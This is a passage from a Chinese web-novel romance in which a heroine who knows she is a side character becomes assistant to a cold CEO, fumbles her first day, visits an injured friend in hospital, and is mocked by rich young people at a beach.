“就是不合适就分了......没什么原因。”她垂下头,一口气喝光碗里的汤。
表现出来的样子明显是不想继续这个话题。
丛晚盯着她,眼里有什么在变化着,但终究是什么都没说,拿着她喝光了的碗出去。
江迟鹿盘腿坐在地毯上愣了一会儿神,拿下旁边的一个记事本子。
写下自己唯一知道的下次的事件细节。
写着写着,手机上方弹出来一条消息。
傅靳年:
-出差我自己去。
只有简单的一句话。
她呼吸沉了沉,嘴里喃喃,“这样很好。”
也不会伤害到别人。
她一边抬手解着身上衣服的扣子一边往浴室走去。
站在淋浴下,浑身湿淋淋的,她抬手摸了摸自己的唇瓣,那种仿佛感觉还在......
心里麻麻的,像是电流窜过一样,在告诉她,车上发生的事情对她来说不是毫无影响。
......
清早,整座城市还在冷沉雾霾之中,车流往来匆匆,一道纤细高挑的,身穿大地色系搭配的身影卡着时间点打卡。
一刻不停地步伐快速进了电梯。
刚到自己的工位,便看见组长站在近处盯着她看。
她疑惑的头一歪,“组长你有事吗?”
嗒嗒高跟鞋的声音踩在地面,组长站在她面前,微笑开口:“恭喜你,刚刚收到调令,你现在去总裁办公楼任职第二助理。”
空气安静了三秒,她伸手指着自己,“我吗?”
组长双手环胸,点头,“是你,你现在可以上去报道了。”
说完,她不忘拍拍江迟鹿的肩膀,“别看只是个助理,跟在傅总身边那圈层完全不一样了,你能见到的人绝对都是各大媒体争相采访的大人物,那都是人脉啊。”
她被组长推了一下,“去吧。”
江迟鹿这下更是怀疑傅靳年对自己不止是一点点在意了。
哪有男人会把自己的前任调到身边工作的啊。
无时无刻看着不烦吗。
他不会是.....还喜欢......
“嘶。”江迟鹿晃了晃脑袋,不敢相信这个结论。
人家男女主才是一家人,她凑什么。
因为本来就没打算在公司长期干下去,江迟鹿的工位是随时走人风格,根本没什么东西。
抱着单薄的牛马工具,她到了总裁办。
靠近总裁办公室,两位助理的牛马槽就在门口,一左一右。
外面是打通一体的办公场地,一进来,江迟鹿就感觉到了这里的不同,老板不在,居然都没有聊天的,这么安静。
她从电梯走出去,抱着个箱子。
那些人也只是忙中抽空扫了她一眼。
终于从洗手间出来一位管她的,“小江,先把东西放这,我跟你交代工作。”
男士有些胖,穿着整套亚麻色系西装,扣不上西装外套的扣子,白衬衫肚皮位置撑得鼓鼓的,看着挺有喜感,但是表情严肃。
江迟鹿一秒也不敢愣小跑了过去,将东西放在他指定的位置,站在距离总裁办公室近的地方,她忍不住往里面看了一眼。
通过透明玻璃可以看到里面的宽敞,简约。
只看了一下就收回了目光,但还是被盯着她的人看见了。
“我叫Juda,负责傅总商务加外贸翻译工作,你可以直接称呼我Juda,总助跟傅总出差去了,所以我今天简单跟你说一下你的工作内容,具体内容由总助回来告知。”
她点头,“Juda你好。”
说完就没话了,再抬眼Juda已经转身往总裁办公室去了,“跟上来。”
她忙跟上去,看他推开了办公门,“总裁办公室你我和总助可以在总裁没在的时候进来做准备工作,总裁在的时候必须要先拨内线告知经过同意才能进去,禁止随意进入......”
“你需要在每天早上九点准时将一杯无糖冰咖啡放在总裁的办公桌上,总助会给你发总裁的行程安排,你需要提前联系司机、酒店、会议负责人等,这些相关细节等姜则回来会告知你。”
“好。”她拿着手机记在便签上。
“你之前是研发部的,所以研发部那边的进度交接也归你负责。”他抬手看了一眼腕表,“下午三点四十傅总到公司,记得咖啡。”
她点点头,关于最后一点并没有在手机便签上记下。
反正只有她知道傅靳年会直接去医院。
Jude没有看她,走到了办公室整面镶嵌式的书柜前,看向江迟鹿,“这上面的书你最好都记住。”
说完又走到了另一边。
而江迟鹿则是盯着那一一整面的书柜,瞳孔震惊。
这么多,记这个干嘛,难不成傅靳年还会随时抽背吗?他是好为人师吗?
“这边是会客厅,投影你会弄吧?”Jude通过一道门,走进了另一边。
江迟鹿立即跟上去,“投影?我会。”
Jude看她一眼,“行,那我就没什么要说的了,走吧,出去了。”
她点点头,跟在Jude身后。
Jude刚走了没两步,突然回头,“不需要做职责外的事,也不要把自己的事交给别人做,两者不管过程错在谁,结果失误了,都是你的责任。”
江迟鹿听出这是他的善意提醒,立即乖巧点头,“谢谢Jude,我会谨记的。”
刚走出去,就听到有人在叫他的名字。
这一层整体给她的感觉是——比研发部还忙。
研发部忙得很统一,大家坐在一起,江迟鹿知道各自在忙哪些部分,但是这里的,她不知道。
她坐在自己的工位,看着便签里的记录,她现在能做的事情似乎只有记那一柜子的书。
但是......她现在能进去吗?
刚刚Jude直接带着她进去了。
可是那可能是有吩咐,而且是两个人一起进去。
她单独进去是不是不太好。
江迟鹿偏头看了一眼助理办公室外面的人。
想找个人问问吧,发现没有一个闲的,她不好意思去打扰人家。
便直接起身佯装坦荡的进去了。
进去后,举起手机对着书柜拍照。
连续拍了十几张才全部拍完。
速度地立刻出去了。
她还拍了一张完整的,为的就是能清楚大概一共有多少本。
计算出来后,江迟鹿傻眼了。
忽略厚度误差那些,那一墙居然大概有一千六百本,其中还包括英文法语德语类。
他到底是来上班的,还是来开图书馆的?
第七十六章 自求多福
她怎么记得住?她看都看不完。
她读书欲望最重的时期一个月也才看三十多本,其中大多还是简单易理解的。
再定睛看傅靳年书架上这些,商务管理类的,行业专业类,经济类的,工业类......外文原版。
还没有开始看,便已经感觉脑仁开始疼了。
但毕竟是她的工作,再无聊和无语也要干下去。
江迟鹿搜了第一本书就开始看,打开电脑wps整理重点。
上午看了三本,中午就连吃饭的时候都在看,吃完饭回到办公室又埋进了知识的海洋,宛若高中生。
她看得正入迷,眉间蹙起,有意识地增快自己的速度。
突然叩叩两声响动。
她抬眼,面前站着的人她不陌生,是姜则。
嗯?他不应该现在在医院陪傅靳年吗?
“傅总的咖啡呢?”这是姜则的第一句话。
“Jude肯定告诉了你的。”这是姜则的第二句话。
她脑子嗡一下,偏头朝办公室看去。
里面原本应该空荡的办公椅上,这会儿坐着个戴金边眼镜正在看文件的斯文败类。
“愣着干什么,快去啊。”姜则说完,转身到自己的位置抱起来一叠文件进去,没再管她。
江迟鹿做咖啡的时候人都是混乱的。
他怎么回来了?
而且似乎......毫发无伤,主角光环也太严重了吧,等等不对,他这会儿应该在医院啊,不然接下来找回童年记忆的剧情怎么走?
还怎么跟女主加深羁绊?
“Miss Jiang?”
江迟鹿拿着勺子正在搅咖啡,抬头一看,Jude疑惑盯着她,垂下眼皮又扫了一眼她手里的咖啡,“我应该告诉了你三点四十傅总到公司,你没准备咖啡?”
她抿着唇,特别不好意思。
她冤枉啊。
“不好意思,我看书看得忘记了。”她尴尬的点了一下头,然后端着咖啡往离开,顺便还解释了一句:“傅总那边着急要,我先走了。”
Jude盯着她匆匆的背影,眉心皱起来,“看书?看什么书?”
才来第一天就摸鱼?
他摇了摇头,没多管。
江迟鹿端着咖啡进去,轻手轻脚地走到办公桌旁边,小心把咖啡放到他手前,唇瓣蠕动了一下,她不知道自己要不要道个歉啥的。
但是好像有点多余,他看起来没像在计较这件事。
江迟鹿出了办公室刚关上门,姜则盯着她,问:“傅总说什么?”
不知道为什么,那眼神里竟然看出来一些期待。
她摇了摇头,“什么都没说啊。”
“什么都没说?”姜则有些不可思议。
偏他来时不逢春是吧,姜则有一次忘记弄咖啡了,可是被男人骇人的眼神盯着,嗓音明明极淡,却似恶魔在耳边低语,“记准时间对你来说很难的话,尽早离职。”
那之后他一次也没有记错过时间,后面第二助理来了,咖啡的事情就交给了他,结果他也有一次忙到忘记了。
二十三岁,一米八的男生,红着眼睛红着鼻子出来的。
姜则看着他拿一张白纸发泄般的写满九点咖啡。
这还不止,中午吃饭的时候,姜则听到他打电话给家里人说不想干了,老板太严苛。
他至今不知道傅靳年说了什么,给人家留下那么大的阴影。
现在江迟鹿遇到同样的事情,傅总居然一句话也没说?
不可能吧,肯定是姑娘脸皮薄不好意思说。
姜则又看了一眼江迟鹿,毕竟这也是个才出社会没多久的小姑娘,可能也会像上一个小年轻那样红眼睛红鼻子。
结果——并没有。
自然得很,拿着手机不知道在看什么,看一会儿在电脑键盘敲敲打打,嘴里还念念有词。
忙得姜则都疑惑了,他记得他还没有给她安排工作吧?
“下午四点二十德驱负责人要过来签合同,我负责招待他,你准备四点四十五的股东会议,提前把投影茶水准备好,我刚刚给你发了文件你看着弄。”
江迟鹿点头,“好,我知道了。”
她看了一眼时间,立即起身去会议室。
因为是股东会议,大部分都是公司元老,喜好安排那些不能闪失。
姜则刚刚发来的文件就是公司各个股东,谁谁不对付,谁谁喜欢什么茶,这些都要安排好。
她看着手机文件上面那些名字,感觉还有些不真实,上面有两个人名她在网络视频上刷到过,记忆很深刻,是特别优秀的上流人士,个人账号还有一百多万的粉丝,还有自己的博客。
以前只能在手机上看到的大佬们突然离自己这么近了,心脏有些激动。
她先是调试好了投影,确定无误后,再安排位置,相互憎恶的不能坐在一起,关系亲密的也不能坐在一起。
会议桌上的花也是她跑出去现买的,要排除在场股东的厌恶,挑出一个不偏向任何人喜好的花,做到完全公平的对待。
准备好后,她回到自己的位置,姜则的位置上已经没了人,看来客人已经到了。
她椅子刚坐热,收到姜则发来的消息。
-紧急,我现在要去机场接一位重要合作商,你到会客厅来接手。
江迟鹿马不停蹄过去接替姜则。
来的是个俄罗斯人,Jude在旁边翻译。
她站在旁边,看茶少了就倒茶。
Jude翻译对面的话,“我有一个非常冒昧、甚至让我感到不安的请求,我听说,傅先生收藏有《涅朵奇卡》的原始手稿。这本书对我而言并非普通作品,而是意义非凡。我不知道您是否方便,但我由衷地希望,能有机会亲眼见一见这份原稿。”
“当然可以。”傅靳年看向江迟鹿。
江迟鹿眼睫颤了颤,点头,声音带一点艰涩,“我,去拿。”
她转身进了傅靳年的办公室,手心直冒冷汗。
不是......那本书在哪啊?
她抬着脖子,盯着一整面嵌入式书柜,密密麻麻的,看得人都要晕了。
冷静,她有点印象的,长什么样来着......
会客厅另一边,那位俄罗斯人明显十分期待。
等了三分钟......
傅靳年微笑起身,“我去看看。”
Jude在旁边硬着头皮翻译,虽然傅总只说了四个字,但他可不能直译,先是表达了一番歉意,再解释助理是新来的还不熟悉。
他心颤颤,为江迟鹿祷告自求多福。
第七十七章 偏他来时不逢春。
江迟鹿额头都渗了一层汗。
到底......在哪。
看得人头昏眼花的都要不认识字了。
傅靳年一进来,江迟鹿汗更多了,“不好意思,我在努力找。”
他目光略过她,认真在书架上扫视,看了会儿,走到靠近落地窗那一边偏下的位置抽出一本书,书名是俄罗斯语。
刚刚Jude说的是翻译过后的。
“难怪我怎么都没找到。”她感觉自己后背都出了一层汗,她观察着傅靳年的表情。
工作中的人神情淡然从容,看不出有什么不满。
她跟着出去,和Jude对视了一眼,Jude的眼神完全写着——你完了。
她指尖抓了一下衣服料子,深呼吸。
没事的,就算被骂一顿也没什么,反正在研发部的时候也不是没被族长骂过。
她深吸了一口气。
垂着脑袋站在傅靳年旁边。
那个俄罗斯人拿着那本书爱不释手,同傅靳年交谈甚欢。
送走了人之后,Jude将记录本递给傅靳年,转身走得匆匆,生怕被殃及池鱼。
姜则刚把那位重要客户安排好,遇到Jude在外面频繁往办公室看。
他担心是江迟鹿做错了什么,赶紧走过去,“怎么了?还顺利吗?”
Jude开口把事情说了,又补了一句,“我还特意提醒了她最好把书柜的书都记住。”
姜则按了按太阳穴,“我去看看。”
江迟鹿现在估计躲在哪哭吧,或者在工位上丧气......
姜则走到助理办公室,却看到江迟鹿认真的坐在那里,盯着手机看。
面色......如常。
“小江,你没事吧?”他有些疑惑的看着她。
现在的年轻人这么能忍受的吗。
江迟鹿茫然地抬头,“什么事情?我没事啊。”
“啊?”姜则面上有一丝怀疑,他走近江迟鹿办公桌,低头凑近,小声开口:“我听Jude说你今天......傅总肯定生气了吧,他说话毒,你别太往心里去,去找个地方好好发泄一下吧,给你五分钟。”
姜则以为自己会看到她坚强的心终于在一顿安抚下崩解哭出来。
谁知道,她一脸奇怪地看着他,脸色依旧很淡定,“今天是发生了点小失误,但是......傅总没说什么。”
“嗯?”姜则傻眼了,“一句话也没说?”
“嗯,没有。哦不对,我跟傅总说了我以为Jude让我记住那些书是记住内容,我才反应过来是记位置,然后傅总说我不用记,以后需要哪一本他会告诉我具体位置的。”
姜则感觉今天系的领带似乎格外紧,好窒息啊。
“他......真这么说?你是不是做梦梦到的啊。”姜则声音都显出了一丝无力感。
江迟鹿:“他的确是这么说的。”
姜则嘴角抽搐了一下。
偏他来时不逢春。
这时,傅靳年从办公室出来,盯着两人,盯着姜则的目光是那种骇人的眼神,声音泛冷:“有什么工作需要你凑到耳边说?说上司坏话?”
姜则头皮发麻,赶紧摇头,往另一边迈开两步,和江迟鹿保持正常社交距离。
“开会。”傅靳年吐出两个字,往会议室去。
姜则朝她招了招手,告诉她等会儿需要她记录的地方,“其他方面你还不熟悉,今天只需要记录就好了。”
她点点头,“我知道了。”
姜则又说:“对了,期间谁谁咬耳朵说悄悄话了也要记下。”
“哦......”她感觉这事还挺有意思的,像抓学生早恋的老师。
她和姜则跟傅靳年身后进了会议室。
会议室的一切都是她安排的,她下意识地看了一圈。
这一看脑门直接吓出了汗,有两个关系极差的人居然坐在了一起。
她记得她明明把两个人分开了的啊!
心脏颤颤跳着,她跟着姜则坐在靠墙的椅子,同样也有其他股东的助理靠边坐着。
那些助理在江迟鹿进来时,目光都往江迟鹿身上扫了一眼。
主要是太惊奇了,他们一向不近女色的傅总身边突然出现一位天仙似的年轻女助理。
就连股东们的眼神都在江迟鹿身上短暂落了一下。
江迟鹿注意到那些诧异的眼神。
心里突然忍不住戏剧化的想,傅靳年把自己调到身边来,不会是拿自己当他的挡箭牌......好护住苏轻吧。
剧情里说苏家落寞,可有不少人觊觎着傅太太的位置。
越是往深处想,越是凉意攀满全身。
难怪,自己才上来第一天就出现了这么多失误,傅靳年却没有一点不满,也没有说她。
就连姜则都感觉到奇怪了。
会议提到某一方案时,那两位坐在一起的相互厌恶的股东持不同意见,两人争吵争吵着居然当众动手了。
场面一时混乱,两边看似拉架的人说的话其实是扇风点火再添一把柴。
“唉,老吴你说你跟他计较什么,他跟傅家都是一家人,我们就别计较了。”
“老徐,对面老吴你又不是不知道,每次他同意的方案,哪次不是直接通过,我们哪里比得过他啊,乖乖夹着尾巴算了。”
江迟鹿:“.......”
她以为这种股东会议应该会很高级来着,大家是上流人士,再怎么持不同意见都应该以理说人。
最后场面还是傅靳年控住的。
会议也提前结束了。
离开会议室后,姜则忍不住说她:“我不是把文件发给你了吗,怎么还把两人安排坐在一起。”
“对不起,我原本是把两人分开安排的,但是等我到会议室的时候两人的牌子又在一起,我安排好后拍了照的,我真的把两人分开的。”
江迟鹿说着把拍的照片递给姜则。
姜则开口:“那也应该提前再来检查一遍,今天的情况还算好,没有出大事,下次一定要注意。”
江迟鹿点头,“好我知道了,我下次会检查的。”
走在前面的傅靳年突然停下脚步。
两人步伐都跟着一顿,不明所以盯着他。
傅靳年目光偏向江迟鹿。
姜则心都提了起来,傅总不会是要教训人了吧。
他刚刚为了降火,提前教训了江迟鹿。
看来是没起作用。
“这事不怪你。”这是傅靳年说的第一句话。
姜则在旁边看呆了。
这样的贴心温暖的话傅总从来没对他说过。
不是不管过程只要结果吗。
“姜则,去查监控,她离开后谁进了会议室。”这是傅靳年说的第二句话。
姜则傻眼了。
不应该江迟鹿自己去查吗,怎么还要他去查?
第七十八章 原本该在医院的人
“是,我现在就去查。”姜则没有废话,转身就进电梯去监控室调查了。
傅靳年目光偏向江迟鹿,想到周衍说的,要让她感受到自己的体贴,于是开口道:
“你才上来第一天,犯错是正常的,慢慢来吧。”
是猪吗,这种小事都能出错。
“还知道工作留痕,不错。”
想破脑子也就这一件事勉强能拿出来夸了。
江迟鹿一副受宠若惊的样子。
怪异,太怪异了。
这还是傅靳年吗?
说话这么像人。
被夺舍了吧。
不,肯定是拿她当挡箭牌,生怕她跑了,所以才说话这么温柔。
“我相信你能胜任这份工作的。”
他说完转身往前走,两条长腿走得又快又稳。
“谢谢傅总信任。”江迟鹿连忙跟上,离得太近,一脚踩到了他的皮鞋后跟。
傅靳年被绊了一跤,差点摔出去。
皮鞋还被江迟鹿踩掉了。
“......是猪伪装的人吗。”他转头盯着她,被搞得有些无语,看到她那张脸,语气一顿,转了话锋,“猪......很可爱,还能吃,是褒义词。”
江迟鹿只感觉脖子被毒蛇缠得紧紧的,她反应过来后立即蹲下去捡起皮鞋,放到他脚边,“不好意思。”
她抓住他脚腕要把他的四十五码大脚塞进去。
傅靳年单脚跳着后退了一步,从她手里拿走自己的鞋穿好。
看了她一眼,最后也只说了一句,“下次注意。”
姜则调完监控回来,看到江迟鹿一脸懊恼和后悔的抱着脑袋走神。
心里一动。
傅总终于是忍不住发火了?
“傅总说你了?”姜则问她。
江迟鹿瘪了下嘴,点头,“我刚刚.....不小心把傅总的鞋踩掉了,他还差点摔了。”
“什么?”姜则瞪大眼睛,看着面前的奇女子,又看了一眼她空荡荡的桌面,“你不会是被开了吧?”
“没有,傅总说我是猪伪装成人来的。”她说完。
“就这么一句?”姜则耐心等待下文。
“他后面叫我下次注意。”
“......下次注意?”姜则第一次感觉到了自己的职业生涯有多么不容易,俗话说没有对比就没有伤害。
“对了监控查的怎么样?”江迟鹿给他倒了一杯水。
“是打扫卫生的阿姨不小心把牌子弄掉了,放回去的时候放错了。”
“哦,这样啊。”江迟鹿点头,“谢谢你啊。”
姜则看着她,“你应该谢谢傅总,你知道傅总为什么对你这么好吗?”
“我知道啊。”后面的声音有些小,“当挡箭牌呗。”
“挡箭牌?什么东西?”姜则一脸的疑惑。
江迟鹿托着下颌开口:“例如,那个男人冷漠无情,只有他的爱人苏轻是他唯一的软肋,为了藏起这个软肋,他便在身边养了另一个人当挡箭牌。”
姜则:“......你少看点吧。”
“切,你不信?说不定我们就身处世界。”江迟鹿知道自己说了他肯定也不会相信。
果然姜则呵笑了一声,“嗯,那我希望这是本能修仙的。”
江迟鹿:“......就算是,你也修不了,你又不是主角。”
“那你说说谁是主角?”姜则玩笑着问。
“傅总。”
“你不会是按照颜值来定主角的吧。”姜则无奈摇头,“每个人都是自己的主角。”
江迟鹿听到这句话顿了顿。
今天的剧情本应该是傅靳年昏迷进医院的,但是他却准时来了公司,剧情被改变了。
错过这一段剧情他还会恢复儿时记忆吗。
江迟鹿点进去微信。
找到苏轻的微信,点进她的朋友圈。
剧情中傅靳年知道苏轻在哪里就是因为苏轻到酒店发了一个朋友圈。
但是现在,苏轻最近的一条朋友圈是在海边,不是酒店。
两边的剧情都不一样了。
剧情是因为她没去下药产生的蝴蝶效应吗。
思绪正在乱飞,一道手机消息提示音将她拉了回来。
她点开手机,看到消息的那一瞬间失控。
周礼车祸重伤进了医院。
她慌乱地不知所措,像被什么惊悚的东西缠住了一样。
原本周礼应该在她的‘设计’下,这会儿在酒店。
但是因为她的变化,周礼也发生了变化。
一道身影快速地跑出办公室。
姜则被那道模糊的影子吓了一跳,扫了一眼江迟鹿空荡荡的位置才明白刚才跑出去的人是谁,“你要早退啊?”
他刚说完,总裁办公室的门打开。
“傅......”
不等他喊完,那人也跟着跑了出去。
“发生什么了?”姜则不明所以。
江迟鹿在公司门口被傅靳年拦住,“坐我的车。”
江迟鹿摇头,“马上下班高峰期,很堵的,我要去赶地铁。”
“我跟你一起。”
江迟鹿没说话,往公司旁边的地铁口跑去。
傅靳年跟上去。
刚刚他手机收到周衍的消息,周礼发生意外了,他现在抽不开身,让他去医院帮忙看看,先瞒住不要透露出去。
江迟鹿应该是从周礼的朋友那里得到的消息。
她看起来特别着急......
如果受伤的是自己,她也会这么着急吗。
地铁站离公司只有几百米,两人进地铁的时候人还不是特别多。
坐在地铁上,江迟鹿抓着裤子膝盖上的布料,看得出来很紧张,牙齿紧紧咬着唇心,眉心紧锁。
傅靳年上来时只有一个位置了,他抓着地铁吊环站在江迟鹿面前,目光低垂。
看到她手背因为紧抓用力鼓起的青筋,心脏跟被抓了一下似的。
下意识地抬起手,掌心轻轻放在她头顶。
江迟鹿身形滞了一下,眼睫颤颤,抬头看向他。
“周衍既然让我去,应该不是特别严重,别担心。”
江迟鹿心里想的是,原本该在医院的人变成了周礼......
到底是因为周礼碰巧出了意外进医院,还是因为傅靳年没有去医院,所以需要另外一个人‘顶’上呢。
第七十九章 你在意这件事吗?
很快到了医院。
vip病房里另外还站了四个周礼的朋友,看他们身上还穿着炫酷的赛车服,一想便知道周礼是因为跟朋友赛车出的意外。
那四个朋友看到傅靳年都把身体缩了起来,心虚,下意识往旁边挪开了。
周礼的手打了石膏板,一只腿也是,半边脸擦伤红肿,看起来挺吓人。
看到傅靳年来了,更吓了一跳,“傅哥,你怎么来了啊。”
他小心翼翼咽了咽口水,“我哥让你来的?”
傅靳年应了一声,“医生怎么说?”
“傅哥,我真的没什么事,就是一个小意外,你可千万别跟我家里人说。”周礼还在担心被周家人知道骂死自己。
傅靳年开口:“你哥知道后第一时间让人封了消息,这点不用担心。”
说完,傅靳年幽暗的目光扫向旁边几个他的玩伴。
才瞥过去一眼,那几人立马开口:“放心我们也不会说的。”
周礼躺在床上,另一只尚好的手动了动,声音有些沙哑:“小鹿鹿,我有点事要告诉你。”
江迟鹿顿了一下,走过去,开口问:“什么事情啊?”
周礼手招了招,“你过来点。”
江迟鹿把耳朵凑过去,周礼刚说了一个字,傅靳年走过去拉着她的胳膊把两人的距离拉开。
他目光淡然看向周礼,“有什么话直接说就是了,这里又没有外人。”
周礼像是一团棉花堵在了喉咙,他开口:“我只想和她说,傅哥你干嘛啊,小鹿鹿又不是你女朋友,难不成你还吃醋了啊。”
江迟鹿轻咳一声,“他还是病号呢。”
她从傅靳年手中抽出了自己的手,“什么事还要偷偷说啊?”
周礼侧过身,凑到她耳边,“苏轻让我送防晒过去,她皮肤敏感,只能用那个防晒,海边买不到,你看我现在这个样子......小鹿鹿,求求你,帮帮我,她好不容易麻烦我点事情,我要是做不到那也太没面子了。”
江迟鹿瞥了一眼旁边靠墙坐的四个男生。
难怪周礼要偷偷跟她说。
都住院打石膏了,居然还惦记着给苏轻送防晒,这要是被他兄弟知道了,估计得笑话他。
“求求你了小鹿鹿,你想要什么我都给你。”
“看在.....最后一句话的份上,行吧。”
周礼看她:“好歹说点客套话呢。”
傅靳年站在旁边看着两人咬耳朵,又眉目传情的,单手拿出手机给周衍发消息。
-我看你弟活龙生虎的,没什么事,干脆告诉你爸妈好好教育他一番。
周衍:
-给我发张照片呢。
傅靳年随手拍了张照片过去。
周衍打了一串问号过来:
-你管这叫活龙生虎?
“傅靳年,我出去一下。”
江迟鹿看向他,“你在这照顾他?”
他幽幽瞥过去一眼,单手插在西装裤里,语气淡然,“我看他挺好的,不用我照顾,再说不是还有他朋友吗。”
周礼本来也不想让他继续待在这里,不然他们压力太大了,但是害怕傅靳年给苏轻送防晒,无力的手招了招。
不要啊,你留下。
傅靳年点头,“拜拜。”
转身跟江迟鹿一起出去了。
“不是,我是说你留下来,傅哥——”
“砰——”门已经关上。
外面的人跟聋子一样听不到。
“你去哪?我送你。”傅靳年看她盯着手机,抬手握住她手腕,提醒,“台阶。”
江迟鹿抬头:“哦,我要去苏轻家里拿一个防晒,然后给她送去海边,她着急用。”
“这关你什么事?”傅靳年垂睨着眼盯他,他这样看人的时候压迫感挺强的。
江迟鹿顿了一下才开口道:“是周礼叫我送的,你也看到了他那个样子送不了。”
“这种跑腿的事情叫你做?你还真做?”他声音略微沉了沉,熟悉他的人都能听出来他是有些生气的。
江迟鹿随口道:“没事,他给的报酬很高的。”
“你很缺钱?”傅靳年问她,“你要买什么吗?”
江迟鹿扫了他一眼,继续下楼,“除了你们这种钱只是一串数字的人来说,谁会不缺钱?我想买的东西多了去了,我巴不得整个世界的好东西我都拥有。”
傅靳年看着她的背影,两步跟了上去,身体暧昧的擦过她的肩膀,语调轻谐,“难怪要钓金龟婿。”
江迟鹿将这话当成了嘲讽,低语道:“关你什么事。”
走到医院门口,傅靳年又说,“我送你。”
江迟鹿好整以暇盯着他,“你怎么送?你开车来了吗?用地铁送我啊?”
傅靳年目光看向了停车区,声音悠悠散散,“我有司机。”
江迟鹿随着他的目光看过去,就看到他的司机已经站在车旁边等着他了。
江迟鹿:“......”
苏轻家是依山而建的新中式风格别墅,江迟鹿下车直奔过去,给门卫说了之后,很快就有一个女佣送了防晒霜出来。
江迟鹿看了一眼女佣,礼貌的收下,转身离开。
明明可以让家里的女佣送的,偏偏让周礼亲自送......
不过周礼估计也乐得。
江迟鹿就是有些意外,女主居然也会钓着人。
拿着防晒霜上了车,江迟鹿看向他,“你不用下车打招呼吗。”
傅靳年认真看着她,“江迟鹿,我已经跟家里人说清楚了,不会和苏轻订婚。”
她因为这句话彻底愣住。
傅靳年还在继续,“所以你不要动不动把我和苏轻扯在一起,我跟她没有任何关系。”
江迟鹿盯着他,心思狂转。
两人这是吵架了?冷战了?
傅靳年坚持要送她不会是因为想顺便见苏轻吧?
里面不都是这么写的,男女主吵架了冷战中,男主却抵不住思念女主,找其他借口偷偷见女主,多深情啊,配个忧郁伤感bgm说不定还能火出圈。
傅靳年并不知道江迟鹿心里到底在想什么。
但是看得出来她的目光没有喜悦和激动。
就好像他只是说了一句并不重要的话。
明明这么近,他却感觉她好像离自己越来越远了。
“江迟鹿,你现在.....心里在想什么?”他问她,“你在意这件事吗?”
第八十章 最恶劣的想法。
这话像一道燃烧的蜡烛,被人手持着,靠近她的心脏,越来越近,越来越烫,让人不知所措。
她大脑像生锈了一样,反应很慢,唇瓣微微张开,目光移向车窗外,绿化带飞速的后移,晃得人眼酸。
渐渐,车窗外的树枝起了雾。
她的视线一片模糊。
她什么也不是啊。
她能说什么。
当一个人站在命运的入海口,清晰地认知到自己只是众多配角之一,敢生出大胆的想法,就要承受人生受阻的命运。
谁还敢走进命运。
她的手指抓紧,指骨有些发酸,嗓音像快要截停的火车,嘶哑得变了调,“快到了.......”
然而,他却并没有放过她,“你一直在逃避我,到底是为什么?”
她烦躁的抓了一把头发,瞥向他,“你为什么要跟着我去找苏轻?”
她不回答他的问题反倒问他,目光灼灼的盯着他。
傅靳年被她这样锋利的眼神看得一愣,他感觉到自己被她排斥,那种感觉.....像她亲手握着一把刀刺向他。
他的声音有些可怜:“我不是跟着你去找苏轻,是因为你,我才会出现在这里。”
她的视线里,他低下的头带着可怜小狗湿漉漉的感觉。
心脏像是被蜡烛慢慢点燃,滚烫,炙热,跳动。
前座的司机听到两人吵架,汗流浃背沉默着开车,默默升了点车速,想快点到达目的地。
安静过后,是她冷静到几乎冷漠的话,“......没什么好说的,我也不知道你说出来的到底是真话还是假话。”
她抿着唇角,看向窗外,挽起耳边的碎发,落下半边窗户吹着风。
“不知道是真话还是假话?”
傅靳年听着她的借口,仿佛自己方才说的话被她当成了玩笑,他眉间忍耐,眉骨处拢着一层浅浅的光影。
“江迟鹿,你觉得我用得着说假话故意骗你吗。”
他的声音像是咬着牙齿说出来的。
江迟鹿鲜少听到他这样的声音,他向来都是淡然从容的,甚至冰冷。
她的目光在他那张脸上停留,男人侧过身,将面庞正对着她。
窗外的风吹进来将他的发丝吹得松动,比起平时一丝不苟的人,现在的人少了一丝威严,气质仍旧斐然,让人目光情不自禁吸引过去。
她的唇瓣动了动,看着眼前的人,嗓音却仿佛被人强行塞了一团棉花一样堵住,想说些什么,却又觉得被何种东西压着一样,怎么也说不出来。
不知道什么时候开始,她以前的勇敢不见了。
认知到这是一个已经有主角的世界,好像自己的任何努力都变成了笑话一样的存在,因为她不管多努力,终究也只是一个配角,一个为了推进主角进度而存在的配角。
一个毫无灵魂的恶毒女配。
而眼前的男人是属于女主的。
她胆敢有什么想法,下场只有凄惨。
令人窒息的无声对峙中,司机弱弱说了一句,“到了。”
江迟鹿心里大松了一口气,她毫不犹豫的看向窗外拉开车门下去,一眼也没有看傅靳年。
手里的防晒霜是冰冷的,她紧紧握着,好像这样,就能平复自己内心的躁动一样。
她走到周礼给发送的指定位置。
看到了一身淡蓝色比基尼还带着草帽的苏轻。
在阳光下,她的皮肤白得泛光,身材虽然纤细,但也并不是毫无曲线,是当下流行的白幼瘦审美,尤其那一头长发丝绸一样,一眼便能看出来是家里娇养出来的大小姐。
江迟鹿走过去,将手里的防晒霜递过去。
苏轻显然已经从周礼哪里得知会来送防晒霜的人是她,看到她并不意外。
抬手接过后,她低眉看了一眼,蹙着眉毛,“这不是我想要的那个啊。”
她噘着嘴,语气带着一点撒娇,旁边她的朋友凌语还有众人倏地将目光放在江迟鹿身上。
凌语本就看不惯江迟鹿,往前走了两步,开口嘲讽:“怎么,你这种小地方出来的,连牌子货都不认识吗?”
说完,她嘴角满是不屑的笑容,“一个帮周礼跑腿的,还能犯这种错?你就算是要攀附,也得拿出态度来啊。”
苏轻站在凌语身边,连样子都不做了,没有阻止凌语侮辱人的话。
而旁边其他朋友也都是和她们一伙的,自然是帮着她们,眼神高傲的上下扫过江迟鹿。
江迟鹿刚从公司出来,一身打扮在这些时髦闲散的二代眼里非常牲畜又穷酸。
“轻轻,这就是你说的那个......江迟鹿?你不是说她很漂亮吗,我看着也没什么啊。”
一个男孩冷哼了一声,“漂亮的人多了去了,可不是什么稀罕的东西,别以为你漂亮就能融入我们的圈子。”
江迟鹿微笑着开口:“苏小姐,东西已经送到了我先走了,如果您有问题的话可以直接找周礼。”
她当然看出来他们只是找茬,明明周礼说的就是这个牌子的防晒霜,而且东西还是苏轻家里的佣人拿出来的,难不成她家里的佣人会乱拿吗。
可就在江迟鹿转身要走时,一个身影高挑的男生挡在了她的面前。
江迟鹿抬眼一看就知道这个男孩年纪不大,估计还在上学吧。
“轻轻都说了不是她要的东西,你一个跑腿的送错了东西,想就这么一走了之?想的也太美了吧。”
凌语在旁边捂着嘴嗤笑,“是不是害怕我们让你再跑一趟啊,从轻轻家里打车来这里估计也要几百块钱吧,你心疼钱啊。”
站在她身前,眼神不怀好意打量着她的人笑容更加嘲讽,“早说啊,小爷我最不缺的啊,就是钱了。”
